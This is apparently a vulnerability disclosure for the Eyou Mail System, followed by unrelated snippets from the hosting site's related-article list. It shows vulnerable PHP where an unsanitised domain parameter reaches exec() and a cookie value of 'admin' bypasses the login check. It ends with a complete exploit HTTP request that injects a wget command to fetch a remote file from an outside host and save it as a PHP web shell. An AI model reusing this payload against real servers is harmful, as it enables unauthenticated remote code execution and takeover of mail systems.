Eyou Mail System Remote Code Execution

简介: Hi!The Eyou Mail System have a Remote Code Execution in \inc\fuction.
Hi!
The Eyou Mail System have a Remote Code Execution in \inc\fuction.php.It affects version below 3.6.
The Vulnerability fuction is get_login_ip_config_file in \inc\fuction.php.
function get_login_ip_config_file($domain, $file) {
$dir = '/var/eyou/Domain/';
$dir_mail = exec('/var/eyou/sbin/hashid '.$domain); //$domain can control by us.
....
}
the other file in \admin\domain\ip_login_set\d_ip_login_get.php.
<?php
...
require_once('inc/domain.config.php');
//ValidateAdmin(); //We donn't need to login in.
$domainname = get_domain(); //Get cookie¡¡¡¡
$allow_file = 'web_login_allow_ip';
$deny_file = 'web_login_deny_ip';
$domain = trim(get('domain')); //$domain from here.
$type = trim(get('type'));¡¡¡¡//Get type
$res = '';
if($domainname !== 'admin' && $domainname !== $domain) { //we just need control $cookie=admin can bypass it and go on.
echo '';
exit;
}
if($type === 'allow') {¡¡//$type any go
$file = $allow_file;
$res .= 'ip_allow&';
} elseif($type === 'deny') {
$file = $deny_file;
$res .= 'ip_deny&';
} else {
echo '';
exit;
}
$file = get_login_ip_config_file($domain, $file);// use the vulnerability fuction
if($file === FALSE) {
echo $res;
exit;
}

Exp:
GET /admin/domain/ip_login_set/d_ip_login_get.php?domain=%3Bwget%20http://conqu3r.paxmac.org/exp.txt%3Bcp%20exp.txt%20exp.php&type=allow HTTP/1.1
Host: mail.xxx.com.cn
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie:cookie=admin
Connection: keep-alive
Thanks.




目录
相关文章
|
开发工具 数据安全/隐私保护 git
remote: The project you were looking for could not be found.
因为使用了不同的账号对不同的项目进行登录,在更换回原先的账户下载git上的代码时,就报了这个问题,这个问题的导致原因其实也就是我们不断更换登录账户所导致的。
322 0
remote: The project you were looking for could not be found.
|
9月前
|
应用服务中间件
Error:Remote staging type or host is not specified.
Error:Remote staging type or host is not specified.
SVN报错is too old (format 10) to work with client version
SVN报错is too old (format 10) to work with client version
|
SQL Windows
Unable to determine if the owner (Domain\UserName) of job JOB_NAME has server access
早上巡检的的时候,发现一数据库的作业报如下错误(作业名等敏感信息已经替换),该作业的OWNER为一个域账号: JOB RUN: 'JOB_NAME' was run on 2016-6-1 at 7:00:00 DURATION: 0 hours, 0 minutes, 1 seconds STATUS: Failed MESSAGES: The job failed.
1400 0
|
移动开发 Apache Python
Apache James Server 2.3.2 - Remote Command Execution
#!/usr/bin/python # # Exploit Title: Apache James Server 2.
1309 0
F5_Unauthenticated_rsync_access_to_Remote_Root_Code_Execution
http://packetstorm.igor.onlinedirect.bg/1408-exploits/F5_Unauthenticated_rsync_access_to_Remote_Root_Code_Execution.
814 0